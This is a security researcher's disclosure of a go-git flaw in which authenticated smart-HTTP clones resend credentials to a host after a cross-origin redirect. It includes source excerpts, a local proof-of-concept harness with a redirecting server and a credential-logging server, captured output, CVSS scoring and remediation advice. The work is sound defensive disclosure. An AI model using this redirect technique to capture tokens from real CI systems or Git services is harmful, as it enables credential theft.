This is not a remote code execution bug. It is not a "clone this repo and your machine is owned" situation. The vulnerability I found in `go-git` is narrower than that, and that scope matters.

`go-git` is a pure-Go implementation of Git used inside developer tools, CI systems, automation, scanners, internal platforms, and services that need to clone or fetch repositories without shelling out to the `git` binary. If one of those clients uses HTTP authentication and talks to a Git endpoint that redirects across an origin boundary, `go-git` can carry the caller's credentials to the redirected host.

In practical terms: a credential meant for one Git server can be exposed to another HTTP server during a smart-HTTP clone or fetch flow.

The impact depends heavily on context. If the leaked credential is short-lived and scoped to a harmless test repository, the blast radius is small. If it is a reusable personal access token or automation credential with access to private repositories, the story gets more serious.

The issue affects authenticated smart-HTTP flows. I confirmed it against:

- `github.com/go-git/go-git/v5` `v5.17.2` - current `v6` main at `ba8e2c6fca2bf5597c9afd235a6fc4e096012bac`

The root cause is simple: after the initial `/info/refs` request follows a redirect, `go-git` rewrites its session endpoint to the redirected URL and then reapplies the original auth object to later Git RPC requests.

The Part That Made Me Stop Scrolling

I started this review by looking for places where `go-git` crosses trust boundaries: filesystem paths, submodules, transport code, authentication, and URL handling. Redirects plus credentials are one of those combinations I always slow down for, because the bug usually hides in the gap between "following a redirect is normal" and "credentials belong to an origin."

The first useful search was around HTTP auth and redirect handling:

```text $ rg -n "modifyRedirect|ModifyEndpointIfRedirect|SetAuth|ApplyAuthToRequest|Authorization" go-git/source/plumbing/transport/http go-git/source-v5/plumbing/transport/http | sed -n Ƈ,80p' go-git/source-v5/plumbing/transport/http/receive_pack.go:97: s.ApplyAuthToRequest(req) go-git/source-v5/plumbing/transport/http/common.go:55: s.ApplyAuthToRequest(req) go-git/source-v5/plumbing/transport/http/common.go:62: s.ModifyEndpointIfRedirect(res) go-git/source-v5/plumbing/transport/http/common.go:319:func (s *session) ApplyAuthToRequest(req *http.Request) { go-git/source-v5/plumbing/transport/http/common.go:324: s.auth.SetAuth(req) go-git/source-v5/plumbing/transport/http/common.go:327:func (s *session) ModifyEndpointIfRedirect(res *http.Response) { go-git/source-v5/plumbing/transport/http/common.go:377:func (a *BasicAuth) SetAuth(r *http.Request) { go-git/source-v5/plumbing/transport/http/common.go:411:func (a *TokenAuth) SetAuth(r *http.Request) { go-git/source-v5/plumbing/transport/http/common.go:415: r.Header.Add("Authorization", fmt.Sprintf("Bearer %s", a.Token)) go-git/source/plumbing/transport/http/common.go:106: auth.SetAuth(req) go-git/source/plumbing/transport/http/common.go:137:// modifyRedirect modifies the endpoint based on the redirect response. go-git/source/plumbing/transport/http/common.go:138:func modifyRedirect(res *http.Response, ep *transport.Endpoint) { go-git/source/plumbing/transport/http/common.go:408: modifyRedirect(res, s.ep) go-git/source/plumbing/transport/http/common.go:618:func (s *HTTPSession) ApplyAuthToRequest(req *http.Request) { go-git/source/plumbing/transport/http/common.go:623: s.auth.SetAuth(req) go-git/source/plumbing/transport/http/common.go:653:func (a *BasicAuth) SetAuth(r *http.Request) { go-git/source/plumbing/transport/http/common.go:688:func (a *TokenAuth) SetAuth(r *http.Request) { go-git/source/plumbing/transport/http/common.go:692: r.Header.Add("Authorization", fmt.Sprintf("Bearer %s", a.Token)) ```

That output is where the shape of the bug started to become visible.

A normal smart-HTTP fetch starts with a discovery request:

```text GET /repo.git/info/refs?service=git-upload-pack ```

After that, the client sends the actual upload-pack RPC:

```text POST /repo.git/git-upload-pack ```

Redirect support is expected. Git repositories move. Servers redirect paths. That alone is not a vulnerability.

The suspicious part was that the redirected URL was not just used for the current response. It became the session endpoint.

The Vulnerable Flow

On current `v6` main, `applyHeaders` adds standard Git HTTP headers and then applies auth:

go 83 func applyHeaders( 84 req *http.Request, 85 service string, 86 ep *transport.Endpoint, 87 auth AuthMethod, 88 protocol string, 89 useSmart bool, 90 ) { 91 // Add headers 92 req.Header.Set("User-Agent", capability.DefaultAgent()) 93 req.Header.Set("Host", ep.Host) // host:port … 104 // Set auth headers 105 if auth != nil { 106 auth.SetAuth(req) 107 } 108 } ```

Then `modifyRedirect` rewrites the endpoint using the final request URL after redirect handling:

```go 137 // modifyRedirect modifies the endpoint based on the redirect response. 138 func modifyRedirect(res *http.Response, ep *transport.Endpoint) { 139 if res.Request == nil { 140 return 141 } 142 143 r := res.Request 144 if !strings.HasSuffix(r.URL.Path, infoRefsPath) { 145 return 146 } 147 148 ep.Host = r.URL.Host 149 ep.Scheme = r.URL.Scheme 150 ep.Path = r.URL.Path[:len(r.URL.Path)-len(infoRefsPath)] 151 } ```

That function does not check whether the redirect stayed on the same scheme, host, or port.

The initial discovery path calls `applyHeaders`, performs the request, and then mutates the session endpoint:

```go 398 applyHeaders(req, service.String(), s.ep, s.auth, s.gitProtocol, !s.useDumb) 399 res, err := doRequest(s.client, req) 400 if err != nil { 401 return nil, err 402 } … 408 modifyRedirect(res, s.ep) ```

The later RPC request is then built from the mutated endpoint and authenticated again:

```go 593 // Close implements io.ReadWriteCloser. 594 func (r *requester) Close() (err error) { 595 defer r.reqBuf.Reset() 596 597 url := fmt.Sprintf("%s/%s", r.ep.String(), r.service) 598 r.req, err = http.NewRequestWithContext(r.ctx, http.MethodPost, url, &r.reqBuf) 599 if err != nil { 600 return err 601 } 602 603 applyHeaders(r.req, r.service, r.ep, r.auth, r.gitProtocol, r.IsSmart()) 604 r.res, err = doRequest(r.client, r.req) ```

That is the bug.

The credential object originally supplied for the first remote is reused after the endpoint has been rewritten to a new authority.

`BasicAuth` and `TokenAuth` both attach reusable credentials:

```go 647 // BasicAuth represent a HTTP basic auth 648 type BasicAuth struct { 649 Username, Password string 650 } 651 652 // SetAuth sets the basic auth on the request. 653 func (a *BasicAuth) SetAuth(r *http.Request) { 654 if a == nil { 655 return 656 } 657 658 r.SetBasicAuth(a.Username, a.Password) 659 } … 687 // SetAuth sets the token auth on the request. 688 func (a *TokenAuth) SetAuth(r *http.Request) { 689 if a == nil { 690 return 691 } 692 r.Header.Add("Authorization", fmt.Sprintf("Bearer %s", a.Token)) 693 } ```

The same pattern exists in `v5.17.2`.

The initial request applies auth and then calls `ModifyEndpointIfRedirect`:

```go 44 func advertisedReferences(ctx context.Context, s *session, serviceName string) (ref *packp.AdvRefs, err error) { 45 url := fmt.Sprintf( 46 "%s%s?service=%s", 47 s.endpoint.String(), infoRefsPath, serviceName, 48 ) … 55 s.ApplyAuthToRequest(req) 56 applyHeadersToRequest(req, nil, s.endpoint.Host, serviceName) 57 res, err := s.client.Do(req.WithContext(ctx)) … 62 s.ModifyEndpointIfRedirect(res) ```

The redirect handler updates host, port, protocol, and path:

```go 327 func (s *session) ModifyEndpointIfRedirect(res *http.Response) { 328 if res.Request == nil { 329 return 330 } … 337 h, p, err := net.SplitHostPort(r.URL.Host) 338 if err != nil { 339 h = r.URL.Host 340 } … 347 s.endpoint.Host = h 348 349 s.endpoint.Protocol = r.URL.Scheme 350 s.endpoint.Path = r.URL.Path[:len(r.URL.Path)-len(infoRefsPath)] 351 } ```

And the later upload-pack request applies auth again:

```go 89 req, err := http.NewRequest(method, url, body) 90 if err != nil { 91 return nil, plumbing.NewPermanentError(err) 92 } 93 94 applyHeadersToRequest(req, content, s.endpoint.Host, transport.UploadPackServiceName) 95 s.ApplyAuthToRequest(req) 96 97 res, err := s.client.Do(req.WithContext(ctx)) ```

Receive-pack uses the same pattern, which means push-like flows share the same root cause.

## Building the Local PoC

I wanted the reproduction to be local-only and boring. No public infrastructure. No real tokens. No external Git service.

The harness does four things:

1. Creates a temporary bare Git repository. 2. Starts server A, which redirects `/repo.git/info/refs` to server B. 3. Starts server B with `git-http-backend` and records inbound `Authorization` headers. 4. Runs `git.Clone(…)` with explicit `BasicAuth`.

The important PoC pieces look like this:

```go auth := &githttp.BasicAuth{ Username: "alice", Password: "redirect-secret", }

expectedAuth := "Basic " + base64.StdEncoding.EncodeToString( []byte(auth.Username+":"+auth.Password), )

_, cloneErr := git.Clone(memory.NewStorage(), memfs.New(), &git.CloneOptions{ URL: redirectURL + "/repo.git", Auth: auth, }) ```

The redirecting server only handles the discovery endpoint:

```go mux.HandleFunc("/repo.git/info/refs", func(w http.ResponseWriter, r *http.Request) { u := targetBase + "/repo.git/info/refs" if q := r.URL.RawQuery; q != "" { u += "?" + q } http.Redirect(w, r, u, http.StatusFound) }) ```

The target server logs exactly what reaches it:

```go captured = append(captured, capturedRequest{ Method: r.Method, Path: r.URL.Path, Authorization: r.Header.Get("Authorization"), }) ```

For this rerun I used a local Go toolchain and the system Git binary:

```text $ PATH=/tmp/codex-go/go/bin:$PATH go version && git — version go version go1.26.2 linux/arm64 git version 2.53.0 ```

Reproducing on Current v6 Main

First I checked the source snapshot:

```text $ git -C go-git/source rev-parse HEAD && git -C go-git/source describe — tags — always — dirty ba8e2c6fca2bf5597c9afd235a6fc4e096012bac v6.0.0-alpha.1–28-gba8e2c6f ```

Then I ran the validation harness:

```text $ cd go-git/findings/001-http-redirect-auth-leak/validation $ PATH=/tmp/codex-go/go/bin:$PATH go run . { "redirect_url": "http://127.0.0.1:41739/repo.git", "captured_on_redirect_target": [ { "method": "GET", "path": "/repo.git/info/refs", "authorization": "Basic YWxpY2U6cmVkaXJlY3Qtc2VjcmV0" }, { "method": "POST", "path": "/repo.git/git-upload-pack", "authorization": "Basic YWxpY2U6cmVkaXJlY3Qtc2VjcmV0" } ], "observed_leaked_credential": true, "expected_authorization": "Basic YWxpY2U6cmVkaXJlY3Qtc2VjcmV0", "observed_authorization_post": "Basic YWxpY2U6cmVkaXJlY3Qtc2VjcmV0" } ```

The base64 value decodes to the test credential:

```text alice:redirect-secret ```

That is intentionally fake, but the behavior is real: the redirect target received the same `Authorization` value that was configured for the original clone URL.

The `POST /repo.git/git-upload-pack` entry is the key evidence. That request was constructed after the session endpoint had already been rewritten.

Reproducing on v5.17.2

I also ran the same harness against the stable `v5.17.2` source tree by copying the PoC to a temporary directory, switching the imports from `v6` to `v5`, and replacing the module with the local `source-v5` checkout.

The rerun produced the same result:

```text $ PATH=/tmp/codex-go/go/bin:$PATH go run . { "redirect_url": "http://127.0.0.1:36617/repo.git", "captured_on_redirect_target": [ { "method": "GET", "path": "/repo.git/info/refs", "authorization": "Basic YWxpY2U6cmVkaXJlY3Qtc2VjcmV0" }, { "method": "POST", "path": "/repo.git/git-upload-pack", "authorization": "Basic YWxpY2U6cmVkaXJlY3Qtc2VjcmV0" } ], "observed_leaked_credential": true, "expected_authorization": "Basic YWxpY2U6cmVkaXJlY3Qtc2VjcmV0", "observed_authorization_post": "Basic YWxpY2U6cmVkaXJlY3Qtc2VjcmV0" } ```

At that point I had both sides of what I needed:

- source-level confirmation of the endpoint mutation - dynamic confirmation that credentials reached the redirect target

How Far Back Does It Go?

I looked through the local Git history for redirect-related changes:

```text $ git -C go-git/source log — oneline — plumbing/transport/http/common.go | rg 'redirect|Redirect|host|port' | sed -n Ƈ,20p' 2ff245e7 plumbing: transport, Use errors.Is for error comparison 979172c5 plumbing: transport, Handle empty repository advertisement from older git versions. 2784eeea plumbing: transport/http, Add Response Body From HTTP To Transport Error (#1722) 9c98ad73 plumbing: transport, refactor transport Endpoint to use url.URL 79d779c1 plumbing: transport/http: add basic HTTP tracing 4aa823da plumbing: transport, fix advertised references for empty repositories 8b46e78c plumbing: transport/http/dumb, properly join url paths 64fad046 plumbing: transport, refactor negotiation and tidy up b1e66003 plumbing: transport/http, support http dumb protocol 88f21adb plumbing: transport, refactor and define transport operations 40703225 plumbing: transport/http, Wrap http errors to return reason. Fixes #1097 dd26cecc Merge branch 'master' into transport-refactor-pktline 9a35c66b plumbing: transport, move client registry a830187d plumbing: transport/http, add support for custom proxy URLs 399b1ec2 plumbing: transport/http, refactor transport to cache underlying transport objects e5bbc4d1 plumbing: wire up contexts for Transport.AdvertisedReferences (#246) 02a92b76 plumbing: transport/http, Add missing host/port on redirect. Fixes #820 bf619084 plumbing/transport: http, Adds token authentication support [Fixes #858] 4cc9a5e7 transport: http, fix services redirecting only info/refs 2f51048c transport: made public all the fields and standardize AuthMethod ```

The earliest relevant commit I found was:

```text $ git -C go-git/source show — stat — oneline — no-renames 02a92b7617bfaf9d3bbe9992ec578fbea1cd15ab — plumbing/transport/http/common.go 02a92b76 plumbing: transport/http, Add missing host/port on redirect. Fixes #820 plumbing/transport/http/common.go | 13 +++++++++++++ 1 file changed, 13 insertions(+) ```

The first tags containing that commit start at `v4.8.0`:

```text $ git -C go-git/source tag — contains 02a92b7617bfaf9d3bbe9992ec578fbea1cd15ab | sort -V | sed -n Ƈ,12p' v4.8.0 v4.8.1 v4.9.0 v4.9.1 v4.10.0 v4.11.0 v4.12.0 v4.13.0 v4.13.1 v5.0.0 v5.1.0 v5.2.0 ```

I would still scope the actionable finding to supported versions unless maintainers decide otherwise, but that history is useful for advisory work.

## Impact

My assessment for the report was:

```text CWE-522: Insufficiently Protected Credentials CVSS v3.1: 7.4 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N ```

That score can look high because credential disclosure has direct confidentiality impact and crosses an origin boundary. Still, I would not describe this as a critical, universal go-git compromise.

The attacker needs a specific setup:

- the victim uses `go-git` over HTTP or HTTPS smart transport - the victim supplies HTTP credentials, such as `BasicAuth` or token-style auth - the Git endpoint redirects during the smart-HTTP handshake - the redirect target is attacker-controlled or otherwise not supposed to receive the credential - the leaked credential is reusable or valuable outside the immediate request

Who should care most:

- CI/CD systems cloning private repositories with long-lived tokens - internal developer platforms that accept user-supplied Git URLs - scanners or automation tools that clone authenticated repositories - services using broad personal access tokens with `go-git`

Who is probably not affected:

- SSH-based `go-git` usage - unauthenticated public clones - file transport - deployments where redirects are disabled or guaranteed same-origin - credentials scoped so narrowly that disclosure has little useful value

The most important boundary here is origin. A redirect from:

```text https://git.example.com/org/repo.git ```

to:

```text https://git-cdn.example.net/org/repo.git ```

may be operationally normal in some environments, but it is still a credential decision. A library should not silently decide that credentials for the first authority are valid for the second one.

Remediation

The safest default is straightforward:

Do not forward authentication across redirects when the scheme, host, or port changes.

There are a few reasonable ways to implement that:

- reject cross-origin redirects when auth is present - follow the redirect but clear auth before continuing - allow cross-origin credential forwarding only behind an explicit opt-in - preserve path-only redirect behavior for moved repositories - add regression tests for both `git-upload-pack` and `git-receive-pack`

For developers using `go-git`, the practical guidance is:

- update to a patched release once available - avoid long-lived broad tokens for automated clone/fetch jobs - prefer direct repository URLs that do not rely on cross-origin redirects - treat user-supplied Git URLs as untrusted input - scope repository tokens to the minimum access needed

If you operate a service that wraps `go-git`, I would also add logging or validation around redirects before passing credentials into clone or fetch options.

Researcher's Note

This bug is a good reminder that security issues often sit in compatibility code. Redirect support is useful. Repositories move, servers normalize paths, and clients are expected to follow along. The problem starts when a redirect also changes who is allowed to receive a credential.

The tools here were not exotic: `rg`, `git log`, source reading, and a small local Go harness using `git-http-backend`. The useful part was slowing down at the trust boundary and asking one question repeatedly:

"Does this credential still belong here after the URL changes?"

In this case, the answer was no.